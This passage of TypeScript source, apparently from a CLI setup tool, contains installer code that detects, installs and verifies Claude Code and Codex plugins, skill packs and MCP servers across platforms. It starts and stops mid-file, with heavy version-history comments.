compat):\n// Pre-v3.9.9 `isAlreadyInstalled` spawned the manifest's `idempotent_check`\n// shell command via `spawnCmd`, which on Windows routes through `cmd.exe /c`.\n// `cmd.exe` does NOT understand `/plugin list` (CC slash command), `test`,\n// `grep -q`, or `cp`/`rm` — causing ALL idempotent probes to silently fail\n// (exit 1), the installer to run the full install flow, and already-installed\n// components to appear as \"[B] installed\" or \"[B] failed\" (dogfood v3.9.8).\n// Fix: detect installed state natively by install method BEFORE falling back\n// to shell spawn. Native detection uses fs.access / isPluginRegistered — pure\n// Node.js, cross-OS, no shell dependency.\n//\n// `opts.updateInstalled` bypass: when true, skip idempotent probe entirely\n// (force re-install). Setup prompts user for this flag before Step B; MCP\n// installers (mcpStdioAdd / mcpHttpAdd) do NOT consume this helper — their\n// existing stderr \"already exists\" path respects user MCP config unconditionally.\n\nimport { access } from 'node:fs/promises'\nimport { homedir } from 'node:os'\nimport { join } from 'node:path'\nimport { getSkillsDir, harnessSkillsDirs } from './platform.js'\nimport { isMcpServerRegistered, isPluginRegistered } from './readClaudeConfig.js'\nimport { spawnCmd } from './spawn.js'\nimport type { InstallContext } from './types.js'\n\nconst IDEMPOTENT_CHECK_TIMEOUT_MS = 10_000\n\n// Extract the installed skill dir name from `npx ... skills add <owner/repo> ...`.\n// v4.13.0 — an explicit `--skill <name>` / `-s <name>` flag wins over the repo\n// segment: the skills CLI installs into `~/.../skills/<skill-name>/`, NOT\n// `<repo>/` (design-taste-frontend regression: repo segment `taste-skill` made\n// idempotent probe + real-path verify look at a dir that never exists).\n// `--skill '*'` wildcard is ignored (multi-skill pack → repo-segment fallback).\nexport function extractSkillName(cmd: string, fallback: string): string {\n  const flag = cmd.match(/(?:^|\\s)(?:--skill|-s)\\s+['\"]?([^\\s'\"]+)['\"]?/)\n  if (flag?.[1] && flag[1] !== '*') return flag[1]\n  const m = cmd.match(/\\bskills(?:@\\S+)?\\s+add\\s+(\\S+)/i)\n  if (!m?.[1]) return fallback\n  const seg = m[1].split('/')\n  return seg[seg.length - 1] ?? fallback\n}\n\n// Extract clone target directory from a git-clone-with-setup cmd.\n// Pattern: `git clone [flags] <url> <dest>`. Returns expanded absolute path.\nfunction extractGitCloneTarget(cmd: string): string | null {\n  const idx = cmd.indexOf('git clone')\n  if (idx < 0) return null\n  const tail = cmd.slice(idx + 'git clone'.length).trim()\n  const tokens = tail.split(/\\s+/)\n  let i = 0\n  while (i < tokens.length && tokens[i]?.startsWith('-')) {\n    i += tokens[i]?.includes('=') ? 1 : 2\n  }\n  const dest = tokens[i + 1]\n  if (!dest || dest === '&&' || dest === ';' || dest === '|') return null\n  if (dest.startsWith('~/')) return join(homedir(), dest.slice(2))\n  if (dest.startsWith('/') || /^[A-Z]:[\\\\/]/i.test(dest)) return dest\n  // relative path — ambiguous, skip native detection\n  return null\n}\n\n/** Native installed-state detection per install method. Returns true only when\n *  we can confirm the component IS installed via fs or config read. Returns\n *  false when not-installed OR when the method/cmd shape is unparseable\n *  (caller falls back to shell `idempotent_check` spawn).\n *\n *  v3.9.10: always supplement with `isPluginRegistered()` — many components\n *  are installed both as CC plugins AND via other methods (e.g. ctx7 is also\n *  context7@claude-plugins-official). npx-skill-installer now checks both\n *  ~/.claude/skills/ and ~/.agents/skills/ (skills CLI global path). */\n/** v3.9.18 — Indicator sub-skill map for skill packs that install multiple\n *  individual skill dirs instead of one folder matching the manifest name.\n *  When ANY listed indicator exists under `~/.claude/skills/`, consider the\n *  pack installed. Sister `ctx7→context7` plugin-name aliasing pattern.\n *  - `gsd` installs 70+ `gsd-<name>/` skill dirs (no single `gsd/` folder)\n *  - `mattpocock-skills` installs `diagnose/`, `tdd/`, `zoom-out/`, etc.\n *    (extractSkillName from `npx ... skills add mattpocock/skills` yields\n *    `skills` which never exists)\n */\nconst INSTALLED_INDICATORS: Record<string, string[]> = {\n  gsd: ['gsd-progress', 'gsd-plan-phase'],\n  'mattpocock-skills': ['diagnose', 'tdd', 'zoom-out'],\n}\n\n/** v4.13.0 — indicator sub-skill probe across ALL harness skills dirs.\n *  Pre-4.13.0 only getSkillsDir() (~/.claude/skills) was checked; the skills\n *  CLI's --global installs land in ~/.agents/skills, so already-installed packs\n *  were re-installed every setup run (\"总是检测不到\" user dogfood). */\nasync function indicatorPresent(name: string): Promise<boolean> {\n  const indicators = INSTALLED_INDICATORS[name]\n  if (!indicators) return false\n  for (const skillsDir of harnessSkillsDirs()) {\n    for (const ind of indicators) {\n      try {\n        await access(join(skillsDir, ind))\n        return true\n      } catch {\n        /* try next indicator */\n      }\n    }\n  }\n  return false\n}\n\n/** v4.13.0 — shared npx-skill presence probe: indicator sub-skills first, then\n *  `<skillsDir>/<extractSkillName(cmd)>/SKILL.md` across both harness dirs.\n *  Consumed by detectNative AND npxSkillInstaller's post-install real-path\n *  verify (single source of truth — pre-4.13.0 the installer probed one\n *  hardcoded ~/.claude/skills path and failed packs that install elsewhere). */\nexport async function detectSkillPresence(cmd: string, name: string): Promise<boolean> {\n  if (await indicatorPresent(name)) return true\n  const skillName = extractSkillName(cmd, name)\n  for (const skillsDir of harnessSkillsDirs()) {\n    try {\n      await access(join(skillsDir, skillName, 'SKILL.md'))\n      return true\n    } catch {\n      /* try next */\n    }\n  }\n  return false\n}\n\nasync function detectNative(ctx: InstallContext): Promise<boolean> {\n  const method = ctx.manifest.spec.install.method\n  const cmd = ctx.manifest.spec.install.cmd\n  const name = ctx.manifest.metadata.name\n\n  // v3.9.18 — check indicator sub-skills first (skill packs that don't install\n  // a single dir matching `name`). Cross-method since the pack format varies.\n  // v4.13.0 — probes all harness skills dirs (see indicatorPresent).\n  if (await indicatorPresent(name)) return true\n\n  // v4.14.0 — native MCP registration probe (platform-aware: claude JSON map /\n  // codex config.toml header via isMcpServerRegistered). Only-if-registered\n  // short-circuit — absence still falls through to the supplementary plugin\n  // probe + shell fallback (some MCP tools are ALSO installed as CC plugins).\n  if (method === 'mcp-stdio-add' || method === 'mcp-http-add') {\n    try {\n      if (await isMcpServerRegistered(name)) return true\n    } catch {\n      /* unreadable config → fall through */\n    }\n  }\n\n  if (method === 'cc-plugin-marketplace') {\n    const m = cmd.match(/(?:claude\\s+)?plugin\\s+install\\s+(\\S+)/i)\n    const pluginName = m?.[1]?.split('@')[0] ?? name\n    try {\n      return await isPluginRegistered(pluginName)\n    } catch {\n      return false\n    }\n  }\n\n  if (method === 'npx-skill-installer') {\n    const skillName = extractSkillName(cmd, name)\n    // v3.9.10: skills CLI --copy --global installs to ~/.agents/skills/ by\n    // default (with symlinks to CC). Check both paths.\n    // Phase C / D6: the probe set is now descriptor-derived (harnessSkillsDirs =\n    // ~/.claude/skills + ~/.agents/skills) — same paths, single source of truth.\n    for (const skillsDir of harnessSkillsDirs()) {\n      const skillMd = join(skillsDir, skillName, 'SKILL.md')\n      try {\n        await access(skillMd)\n        return true\n      } catch {\n        /* try next */\n      }\n    }\n  }\n\n  if (method === 'git-clone-with-setup') {\n    const target = extractGitCloneTarget(cmd)\n    if (target) {\n      try {\n        await access(target)\n        return true\n      } catch {\n        /* fall through to supplementary */\n      }\n    }\n  }\n\n  if (method === 'npm-cli') {\n    const skillDir = join(getSkillsDir(), name)\n    try {\n      await access(skillDir)\n      return true\n    } catch {\n      /* fall through to supplementary */\n    }\n  }\n\n  // v3.9.10 — supplementary: always check CC plugin registry. Many components\n  // exist both as plugins AND via other install methods (e.g. ctx7 is also\n  // context7@claude-plugins-official; mattpocock-skills may have a plugin form).\n  // Name aliases for manifests whose plugin name differs from metadata.name.\n  const pluginNames = [name]\n  if (name === 'ctx7') pluginNames.push('context7')\n  for (const pn of pluginNames) {\n    try {\n      if (await isPluginRegistered(pn)) return true\n    } catch {\n      /* continue */\n    }\n  }\n\n  return false\n}\n\n/** Probe whether the manifest is already installed.\n *  v3.9.9: native Node.js detection first (per install method), shell\n *  `idempotent_check` spawn as fallback for edge cases. */\nexport async function isAlreadyInstalled(\n  ctx: InstallContext,\n  opts: { honorUpdateFlag?: boolean } = {},\n): Promise<boolean> {\n  const honorUpdateFlag = opts.honorUpdateFlag !== false\n  if (honorUpdateFlag && ctx.opts.updateInstalled === true) return false\n\n  // v3.9.8 — dry-run bypasses the probe so the install-path preview (diff\n  // render + spawn-args contract) is exercisable by tests / users running\n  // `--dry-run`. Real install behavior unchanged (probe runs when apply:true).\n  if (ctx.opts.dryRun) return false\n\n  // v3.9.9 — native detection first (Windows compat: cmd.exe /c can't run\n  // `/plugin list`, `test`, `grep -q`, etc. that appear in idempotent_checks).\n  const native = await detectNative(ctx)\n  if (native) return true\n\n  // Fallback: shell spawn (legacy idempotent_check manifest field).\n  const idempotentCmd = ctx.manifest.spec.install.idempotent_check\n  if (typeof idempotentCmd !== 'string' || idempotentCmd.length === 0) {\n    return false\n  }\n\n  const r = await spawnCmd(ctx, idempotentCmd, [], IDEMPOTENT_CHECK_TIMEOUT_MS)\n  if (!('exitCode' in r)) return false\n  return r.exitCode === 0\n}\n","// Phase 5.1 W0 T0.3 — extract runArgs helper (#BF MED carry-forward 4-phase discharge).\n// Identical implementation existed in mcpStdioAdd.ts L40 + mcpHttpAdd.ts L47 +\n// ccPluginMarketplace.ts L49; extracted here to eliminate 3-way duplication.\n//\n// v4.14.0 — generalized to runHarnessArgs(bin, ...): the same spawn shape now\n// serves BOTH harness CLIs (`claude` and `codex` — codex mcp/plugin subcommands\n// are shape-compatible per findings.md research). `runArgs` stays as the claude\n// shorthand so all pre-4.14.0 call sites are byte-identical. `stdout` added to\n// ProcResult (codex `plugin list` verify matches on stdout); stderr-only callers\n// unaffected.\n//\n// IMPL NOTE: Win routes through cmd.exe /c because `claude`/`codex` ship as\n// .cmd shims / PATH-resolved exes. Unix spawns the binary directly (no shell) —\n// args remain unparsed. This matches the established cross-OS pattern.\n\nimport { spawn } from 'node:child_process'\n\nexport type HarnessBin = 'claude' | 'codex'\n\nexport interface ProcResult {\n  exitCode: number\n  stdout: string\n  stderr: string\n}\n\nexport function runHarnessArgs(\n  bin: HarnessBin,\n  args: string[],\n  cwd: string,\n  timeoutMs = 15_000,\n): Promise<ProcResult> {\n  return new Promise((resolve) => {\n    // Win: route through cmd.exe /c because the harness CLI ships as a .cmd shim.\n    // Unix: spawn the binary directly (no shell) — args remain unparsed.\n    const isWin = process.platform === 'win32'\n    // v4.13.0 — stdin 'ignore' (sister lib/spawn.ts): harness subcommands must\n    // never wait on interactive input during setup.\n    const stdio: ['ignore', 'pipe', 'pipe'] = ['ignore', 'pipe', 'pipe']\n    const child = isWin\n      ? spawn('cmd.exe', ['/c', bin, ...args], { cwd, windowsHide: true, stdio })\n      : spawn(bin, args, { cwd, shell: false, stdio })\n    let stdout = ''\n    let stderr = ''\n    child.stdout?.setEncoding('utf8').on('data', (c: string) => {\n      stdout += c\n    })\n    child.stderr?.setEncoding('utf8').on('data', (c: string) => {\n      stderr += c\n    })\n    const timer = setTimeout(() => {\n      child.kill('SIGKILL')\n      resolve({ exitCode: -1, stdout, stderr: `${stderr}[timeout after ${timeoutMs}ms]` })\n    }, timeoutMs)\n    child.on('error', (e) => {\n      clearTimeout(timer)\n      // v4.14.0 fail-loud: codex is optional tooling — a missing binary must\n      // surface as an actionable message, not a bare ENOENT (findings.md 锁定\n      // 决策: spawn PATH 上的 codex,不猜 AppData hash 目录).\n      const enoent = (e as NodeJS.ErrnoException).code === 'ENOENT'\n      const msg =\n        enoent && bin === 'codex'\n          ? 'codex CLI not found on PATH — install Codex CLI or re-run setup on the claude platform'\n          : e.message\n      resolve({ exitCode: -1, stdout, stderr: `${stderr}${msg}` })\n    })\n    child.on('close', (code) => {\n      clearTimeout(timer)\n      resolve({ exitCode: code ?? -1, stdout, stderr })\n    })\n  })\n}\n\n/** Claude shorthand — all pre-4.14.0 call sites keep this exact signature. */\nexport function runArgs(\n  claudeArgs: string[],\n  cwd: string,\n  timeoutMs = 15_000,\n): Promise<ProcResult> {\n  return runHarnessArgs('claude', claudeArgs, cwd, timeoutMs)\n}\n","// v3.0.2 hotfix — homedir-rooted spawn cwd for MCP / plugin installers.\n//\n// Problem: `claude mcp add --scope project <...>` writes `.mcp.json` to the\n// spawn cwd. When user launches `harnessed setup` from a read-only directory\n// (e.g. PowerShell default CWD `C:\\Windows\\System32`), the write fails with:\n//   `EPERM: operation not permitted, rename 'C:\\Windows\\System32\\.mcp.json.tmp...'`\n// blocking all MCP installers (chrome-devtools-mcp / exa-mcp / tavily-mcp).\n//\n// Solution: sister v2.0.1 `getBackupRoot()` (src/installers/lib/backup.ts:32)\n// pattern verbatim — root MCP/plugin spawn cwd at homedir() unconditionally,\n// not at process.cwd(). homedir() is reliably writable on Win/Mac/Linux.\n// User can still see `.mcp.json` in their home and `claude mcp list` works\n// because the registration is keyed by the absolute path Claude Code reads.\n//\n// Why unconditional (no probe + fallback)? Sister v2.0.1 backup-root migration\n// is unconditional — `getBackupRoot()` always returns `~/.harnessed/backups/`,\n// regardless of whether ctx.cwd is writable. Symmetric semantics: harness-\n// owned writes go under the user's home, not transient terminal CWDs.\n\nimport { homedir } from 'node:os'\n\n/**\n * Return the homedir-rooted spawn cwd used by `claude mcp add` /\n * `claude plugin install` so that `.mcp.json` / `.claude/settings.json`\n * writes land in a path the user reliably owns. Unconditional — does NOT\n * fall back to ctx.cwd.\n *\n * Sister: `src/installers/lib/backup.ts:32` `getBackupRoot()` v2.0.1.\n */\nexport function getMcpSpawnCwd(): string {\n  return homedir()\n}\n","// Phase 2.1 install method 5/6 — cc-plugin × cc-plugin-marketplace per ADR\n// 0004 § 5 + ADR 0005 + ADR 0010 errata D-20.\n//\n// v3.0.2 hotfix (scope flip): `--scope project` → `--scope user`. Sister\n// mcpStdioAdd v3.0.2 reasoning — write to ~/.claude.json user-global config\n// (CWD-independent) instead of <cwd>/.claude/settings.json (EPERMs in\n// read-only CWD). CC #54803 user-scope-broken bug has been resolved.\n//\n// IMPL NOTE (Rule 1): hardcoded `--scope user` for `plugin install` step\n// cannot be overridden by manifest fields; the manifest cmd string is\n// informational; we authoritatively reconstruct args[].\n//\n// IMPL NOTE (Rule 1 / D-20 idempotency): Two sequential spawns:\n//   Step 1: `claude plugin marketplace add <url>`\n//   Step 2: `claude plugin install <plugin>@<marketplace> --scope project`\n// Step-1 non-zero exit is non-fatal IF step-2 succeeds — marketplace already\n// being registered is a benign state (\"already exists\" is the most common\n// step-1 failure on re-install). We do NOT pre-probe `marketplace list`\n// (extra spawn, extra failure surface); we let step-2 decide.\n//\n// IMPL NOTE (Rule 1 / parse install.cmd): the install method schema does not\n// carry typed `marketplace_url`/`marketplace_name`/`plugin_name` fields (it\n// has only cmd + git_ref + idempotent_check + optional marketplace_source).\n// We parse the manifest cmd which is the user-facing audit-trail string,\n// matching the architectural discipline already established by mcpStdioAdd\n// (cmd is informational; args reconstructed authoritatively).\n//\n// IMPL NOTE (Rule 1 / H2 sister review fix): re-screen each constructed arg\n// before spawn — same defense-in-depth posture as mcpStdioAdd/mcpHttpAdd.\n//\n// IMPL NOTE (v3.0.3 hotfix — verify reads ~/.claude.json directly): pre-v3.0.3\n// verify spawned `claude plugin list --json` and stdout-matched the plugin\n// name. Same timeout symptom as mcpStdioAdd v3.0.3 (cold-start exceeds 15s\n// after sequential MCP adds). v3.0.3 reads `enabledPlugins` from\n// `~/.claude.json` directly. Sister `readClaudeConfig.isPluginRegistered()`.\n\nimport { checkCmdString } from '../manifest/security.js'\nimport { backup } from './lib/backup.js'\nimport { confirmAt } from './lib/confirm.js'\nimport { renderDiff } from './lib/diff.js'\nimport { err } from './lib/err.js'\nimport { isAlreadyInstalled } from './lib/idempotent.js'\nimport { detectPlatform } from './lib/platform.js'\nimport { preflight } from './lib/preflight.js'\nimport { isPluginRegistered } from './lib/readClaudeConfig.js'\nimport { runHarnessArgs } from './lib/runClaudeArgs.js'\nimport { getMcpSpawnCwd } from './lib/safeCwd.js'\nimport { updateInstalled } from './lib/state.js'\nimport type { DiffPlan, Installer } from './lib/types.js'\n\n// Parse `<plugin>@<marketplace>` and the marketplace URL/owner-repo from the\n// manifest cmd. cmd shape (per real manifests + CC docs):\n//   `/plugin marketplace add <owner/repo-or-url> && /plugin install <plugin>@<marketplace>`\n// OR\n//   `/plugin install <plugin>@<marketplace>`              (marketplace pre-registered)\n// v4.14.0: codex overrides use the codex verb `plugin add <plugin>@<marketplace>`\n// (codex CLI has no `plugin install`) — accepted as an alias here.\n// We extract:\n//   - marketplaceRef:  the token after `marketplace add` (can be owner/repo or URL)\n//   - pluginAtMkt:     the `<plugin>@<marketplace>` token after `plugin install|add`\ninterface ParsedCmd {\n  marketplaceRef: string | null\n  pluginAtMkt: string\n}\nfunction parseCmd(cmd: string): ParsedCmd | null {\n  // marketplaceRef — exclude the `marketplace add` form from the plugin matcher\n  // below by matching it first.\n  const mktMatch = cmd.match(/(?:\\/?plugin)\\s+marketplace\\s+add\\s+(\\S+)/i)\n  // pluginAtMkt — strip leading slash, strip trailing semicolons/&&.\n  // `install` (claude) or `add` (codex); `(?!marketplace)` keeps `plugin add`\n  // from swallowing `plugin marketplace add <ref>`.\n  const pluginMatch = cmd.match(/(?:\\/?plugin)\\s+(?:install|add)\\s+(?!marketplace\\b)(\\S+)/i)\n  if (!pluginMatch || pluginMatch[1] === undefined) return null\n  const pluginAtMkt = pluginMatch[1].replace(/[;&]+$/, '')\n  if (!pluginAtMkt.includes('@')) return null\n  const mktRef = mktMatch && mktMatch[1] !== undefined ? mktMatch[1] : null\n  return {\n    marketplaceRef: mktRef,\n    pluginAtMkt,\n  }\n}\n\nexport const installCcPluginMarketplace: Installer = async (ctx) => {\n  const install = ctx.manifest.spec.install\n  if (install.method !== 'cc-plugin-marketplace') {\n    return {\n      ok: false,\n      phase: 'preflight',\n      error: err(\n        ctx,\n        '/spec/install/method',\n        `installCcPluginMarketplace received non-cc-plugin-marketplace method '${install.method}' (dispatch bug)`,\n        'dispatch-mismatch',\n      ),\n    }\n  }\n  // v4.14.0 T3 — harness gate. The claude plugin marketplace is CC infra; on a\n  // non-claude platform this installer only proceeds when the ACTIVE cmd is a\n  // codex-flavored override (`codex plugin ...` — runInstall merged\n  // spec.harness_overrides.codex before dispatch). Anything else → honest skip,\n  // never a wrong-platform `claude plugin install` side effect.\n  const platform = detectPlatform()\n  const isCodexCmd = /^codex\\b/.test(install.cmd.trim())\n  if (platform.id !== 'claude' && !(platform.id === 'codex' && isCodexCmd)) {\n    return { aborted: true, reason: 'harness-mismatch' }\n  }\n  const bin = platform.id === 'codex' ? 'codex' : 'claude'\n\n  const pre = preflight(ctx)\n  if (!pre.ok) {\n    if (pre.abortReason === 'platform-mismatch')\n      return { aborted: true, reason: 'platform-mismatch' }\n    const e = pre.errors[0] ?? err(ctx, '/', 'preflight failed (no detail)', 'preflight')\n    return { ok: false, phase: 'preflight', error: e }\n  }\n  // v3.9.6 — idempotent_check probe (skip install if already-installed).\n  if (await isAlreadyInstalled(ctx)) {\n    return { ok: true, alreadyInstalled: true, backupId: 'noop-idempotent' }\n  }\n\n  const parsed = parseCmd(install.cmd)\n  if (!parsed) {\n    return {\n      ok: false,\n      phase: 'preflight',\n      error: {\n        ...err(\n          ctx,\n          '/spec/install/cmd',\n          `cc-plugin-marketplace cmd must contain \\`plugin install <plugin>@<marketplace>\\` (parsed from: '${install.cmd.slice(0, 100)}')`,\n          'cc-plugin-shape',\n        ),\n        suggest:\n          'see manifests/tools/ralph-loop.yaml or manifests/tools/superpowers.yaml for shape',\n      },\n    }\n  }\n  const pluginName = parsed.pluginAtMkt.split('@')[0] ?? parsed.pluginAtMkt\n\n  // v3.0.2 hotfix (claude): `--scope user` (writes ~/.claude.json) — CWD-\n  // independent, EPERM-free in read-only launch dirs. Sister mcpStdioAdd v3.0.2.\n  // v4.14.0 (codex): verb is `plugin add <p>@<m>` (no --scope; codex CLI shape\n  // per findings.md 附录 — `codex plugin add PLUGIN@MARKETPLACE`).\n  const installArgs =\n    bin === 'codex'\n      ? ['plugin', 'add', parsed.pluginAtMkt]\n      : ['plugin', 'install', parsed.pluginAtMkt, '--scope', 'user']\n  const allArgs: string[][] = []\n  if (parsed.marketplaceRef !== null) {\n    allArgs.push(['plugin', 'marketplace', 'add', parsed.marketplaceRef])\n  }\n  allArgs.push(installArgs)\n\n  // H2 defense-in-depth — re-screen every arg of every step.\n  for (const argSet of allArgs) {\n    for (const a of argSet) {\n      const violation = checkCmdString(a)\n      if (violation) {\n        return {\n          ok: false,\n          phase: 'preflight',\n          error: err(\n            ctx,\n            '/spec/install/cmd',\n            `shell escape detected in constructed cc-plugin arg '${a.slice(0, 60)}': ${violation.label} (${violation.hint})`,\n            'security-gate-bypass',\n          ),\n        }\n      }\n    }\n  }\n\n  // v3.0.2: `--scope user` writes ~/.claude.json (user-global enabledPlugins\n  // map) instead of <cwd>/.claude/settings.json (project-local). Diff target\n  // updated to mirror. No `--dry-run` flag on `claude plugin install` — cmd\n  // echo remains the audit trail.\n  // v4.14.0: codex plugin registry lives inline in ~/.codex/config.toml.\n  const settingsFile = bin === 'codex' ? platform.mcpConfigPath : `${getMcpSpawnCwd()}/.claude.json`\n  const newEntry = JSON.stringify({ enabledPlugins: { [parsed.pluginAtMkt]: true } }, null, 2)\n  const mergeNote =\n    bin === 'codex'\n      ? '// will be registered in ~/.codex/config.toml by `codex plugin add`:'\n      : '// will be merged into ~/.claude.json enabledPlugins map by `claude plugin install --scope user`:'\n  const plan: DiffPlan = {\n    files: [\n      {\n        target: settingsFile,\n        scope: 'HOME',\n        oldText: '',\n        newText: `${mergeNote}\\n${newEntry}\\n`,\n      },\n    ],\n  }\n  if (!ctx.opts.quiet) process.stdout.write(renderDiff(plan, ctx))\n\n  const conf = await confirmAt('L3', { ...ctx, level: 'L3' })\n  if (!conf.proceed) {\n    const reason = conf.reason === 'flag-missing' ? 'level-flag-missing' : 'user-cancel'\n    return { aborted: true, reason }\n  }\n  if (ctx.opts.dryRun) return { aborted: true, reason: 'user-cancel' }\n\n  const bk = await backup(plan, ctx)\n  if (!bk.ok) return { ok: false, phase: 'preflight', error: bk.error }\n\n  // v3.0.2: spawn cwd at homedir() — `--scope user` writes ~/.claude.json\n  // regardless of spawn cwd, but the CC CLI may create temp files in cwd;\n  // homedir() avoids EPERM when user launches from a read-only CWD.\n  const spawnCwd = install.cwd ?? getMcpSpawnCwd()\n\n  // Step 1 — marketplace add (D-20: non-zero is non-fatal; step 2 is the decider).\n  let stepOneStderr = ''\n  if (parsed.marketplaceRef !== null) {\n    const r1 = await runHarnessArgs(\n      bin,\n      ['plugin', 'marketplace', 'add', parsed.marketplaceRef],\n      spawnCwd,\n    )\n    stepOneStderr = r1.stderr\n    // intentional: do not return on r1.exitCode !== 0\n  }\n\n  // Step 2 — plugin install. This is the authoritative outcome decider.\n  // v3.9.9: 60s timeout (claude plugin install cold-start can exceed 15s;\n  // sister mcpStdioAdd v3.0.3 same fix).\n  const r2 = await runHarnessArgs(bin, installArgs, spawnCwd, 60_000)\n  if (r2.exitCode !== 0) {\n    return {\n      ok: false,\n      phase: 'spawn',\n      backupId: bk.backupId,\n      error: err(\n        ctx,\n        '/spec/install/cmd',\n        `${bin} plugin ${bin === 'codex' ? 'add' : 'install'} exited ${r2.exitCode}: ${r2.stderr.slice(0, 200)}${stepOneStderr ? ` | marketplace-add stderr: ${stepOneStderr.slice(0, 100)}` : ''}`,\n        'install-failed',\n      ),\n    }\n  }\n\n  // v3.0.3 hotfix (claude): verify reads ~/.claude.json directly via fs (no\n  // spawn). Sister mcpStdioAdd v3.0.3 verify rationale.\n  // v4.14.0 (codex): no filesystem plugin registry (pluginsRegistry null) —\n  // verify spawns `codex plugin list` and matches the plugin name on stdout\n  // (15s budget; task_plan T3 REVISED). Only runs on codex, so the claude\n  // cold-start-timeout concern that motivated v3.0.3 does not regress.\n  let registered: boolean\n  if (bin === 'codex') {\n    const vr = await runHarnessArgs('codex', ['plugin', 'list'], spawnCwd, 15_000)\n    registered = vr.exitCode === 0 && vr.stdout.includes(pluginName)\n  } else {\n    registered = await isPluginRegistered(pluginName)\n  }\n  if (!registered) {\n    const cfgLabel =\n      bin === 'codex' ? '`codex plugin list` output' : 'enabledPlugins map of ~/.claude.json'\n    return {\n      ok: false,\n      phase: 'verify',\n      backupId: bk.backupId,\n      error: err(\n        ctx,\n        '/spec/verify/cmd',\n        `verify: plugin '${pluginName}' not found in ${cfgLabel} after install spawn exit 0 (file may have been overwritten, or ${bin} plugin ${bin === 'codex' ? 'add' : 'install'} wrote to a non-default location)`,\n        'verify-failed',\n      ),\n    }\n  }\n\n  await updateInstalled(ctx.cwd, ctx.manifest.metadata.name, install.git_ref, '')\n  return { ok: true, backupId: bk.backupId, appliedFiles: [settingsFile] }\n}\n","// Phase 2.1 install method 4/6 — cc-skill-pack × git-clone-with-setup per ADR\n// 0004 § 5 + ADR 0007 install_type=git + ADR 0010 errata D-15.\n//\n// IMPL NOTE (Rule 1 / D-15): git_ref HEAD/main/master rejection is ALREADY\n// enforced by preflight.ts (git_ref shape regex). We do NOT re-implement that\n// here. Between spawn and verify we ADD a `git rev-parse HEAD` SHA-match\n// step (inline ≤10 lines per D-15 — only one caller; lib/gitVerify.ts would be\n// YAGNI). Mismatch → InstallError keyword:'sha-mismatch'.\n//\n// IMPL NOTE (Rule 1 / D-1 reuse): every multi-line block delegates to a lib/*\n// helper. This installer is a thin orchestrator; spawnCmd handles cross-OS\n// shell + B1 defense-in-depth in one place. Mirrors npmCli architecture.\n//\n// IMPL NOTE (Rule 1 / pure-create backup): git-clone creates new dirs (does\n// not edit existing files). DiffPlan.files entries use `oldText:''` per the\n// types.ts contract — backup writes a \"pure-create sentinel\" so rollback can\n// `rm -rf` the cloned dir.\n//\n// IMPL NOTE (Rule 1 / strict SHA pin per ADR 0001 版本锁哲学): the schema\n// regex permits SHA(7-40 hex) OR SemVer (v1.2.3); this installer enforces the\n// stricter SHA-only invariant for git_ref because `git rev-parse HEAD` after\n// `git clone --branch <tag>` produces a SHA, and SHA↔tag is not an authority\n// match — the SHA IS the authority. Real manifests already follow this:\n// ui-ux-pro-max.yaml + gstack.yaml both pin full 40-hex SHA. SemVer values\n// reaching this code path are surfaced as an installer-layer error (NOT a\n// silent skip), aligned with ADR 0001's reproducibility requirement.\n\nimport { spawn } from 'node:child_process'\nimport { backup } from './lib/backup.js'\nimport { confirmAt } from './lib/confirm.js'\nimport { renderDiff } from './lib/diff.js'\nimport { err } from './lib/err.js'\nimport { isAlreadyInstalled } from './lib/idempotent.js'\nimport { preflight } from './lib/preflight.js'\nimport { DEFAULT_INSTALL_TIMEOUT_MS, DEFAULT_VERIFY_TIMEOUT_MS, spawnCmd } from './lib/spawn.js'\nimport { updateInstalled } from './lib/state.js'\nimport type { DiffPlan, Installer, InstallResult } from './lib/types.js'\n\n// D-15 inline SHA-verify. Runs `git rev-parse HEAD` in the cloned dir,\n// compares against the manifest's git_ref. Only invoked after a successful\n// clone; called once per install — no lib helper warranted (YAGNI).\nfunction gitRevParseHead(cwd: string, timeoutMs = 10_000): Promise<{ sha: string; exit: number }> {\n  return new Promise((resolve) => {\n    const isWin = process.platform === 'win32'\n    const child = isWin\n      ? spawn('cmd.exe', ['/c', 'git', 'rev-parse', 'HEAD'], { cwd, windowsHide: true })\n      : spawn('git', ['rev-parse', 'HEAD'], { cwd, shell: false })\n    let stdout = ''\n    child.stdout?.setEncoding('utf8').on('data', (c: string) => {\n      stdout += c\n    })\n    const timer = setTimeout(() => {\n      child.kill('SIGKILL')\n      resolve({ sha: '', exit: -1 })\n    }, timeoutMs)\n    child.on('error', () => {\n      clearTimeout(timer)\n      resolve({ sha: '', exit: -1 })\n    })\n    child.on('close', (code) => {\n      clearTimeout(timer)\n      resolve({ sha: stdout.trim(), exit: code ?? -1 })\n    })\n  })\n}\n\n// Extract the target clone directory from the manifest cmd. Required: we\n// must know the directory to run `git rev-parse HEAD` against post-clone. If\n// the cmd shape can't be parsed, we fail preflight clearly (no silent\n// fallback). Walks `git clone [flags] <url> <dest>` to find <dest>.\nfunction extractCloneTarget(cmd: string): string | null {\n  const idx = cmd.indexOf('git clone')\n  if (idx < 0) return null\n  const tail = cmd.slice(idx + 'git clone'.length).trim()\n  const tokens = tail.split(/\\s+/)\n  let i = 0\n  while (i < tokens.length) {\n    const t = tokens[i]\n    if (t === undefined || !t.startsWith('-')) break\n    if (t === '--depth' || t === '--branch' || t === '-b') {\n      i += 2\n    } else if (t.includes('=')) {\n      i += 1\n    } else {\n      i += 2\n    }\n  }\n  // tokens[i] is the URL; tokens[i+1] is the dest. End-of-clause guards\n  // (&&, ;, |) means the manifest omitted dest — git would default to a\n  // repo-name dir in cwd, which is fragile; require explicit dest.\n  const dest = tokens[i + 1]\n  if (!dest || dest === '&&' || dest === ';' || dest === '|') return null\n  if (dest.startsWith('~/')) {\n    const home = process.env.HOME ?? process.env.USERPROFILE\n    if (!home) return null\n    return `${home}${dest.slice(1)}`\n  }\n  return dest\n}\n\nexport const installGitCloneWithSetup: Installer = async (ctx) => {\n  const install = ctx.manifest.spec.install\n  if (install.method !== 'git-clone-with-setup') {\n    return {\n      ok: false,\n      phase: 'preflight',\n      error: err(\n        ctx,\n        '/spec/install/method',\n        `installGitCloneWithSetup received non-git-clone-with-setup method '${install.method}' (dispatch bug)`,\n        'dispatch-mismatch',\n      ),\n    }\n  }\n  const pre = preflight(ctx)\n  if (!pre.ok) {\n    if (pre.abortReason === 'platform-mismatch')\n      return { aborted: true, reason: 'platform-mismatch' }\n    const e = pre.errors[0] ?? err(ctx, '/', 'preflight failed (no detail)', 'preflight')\n    return { ok: false, phase: 'preflight', error: e }\n  }\n  // v3.9.6 — idempotent_check probe (skip install if already-installed).\n  if (await 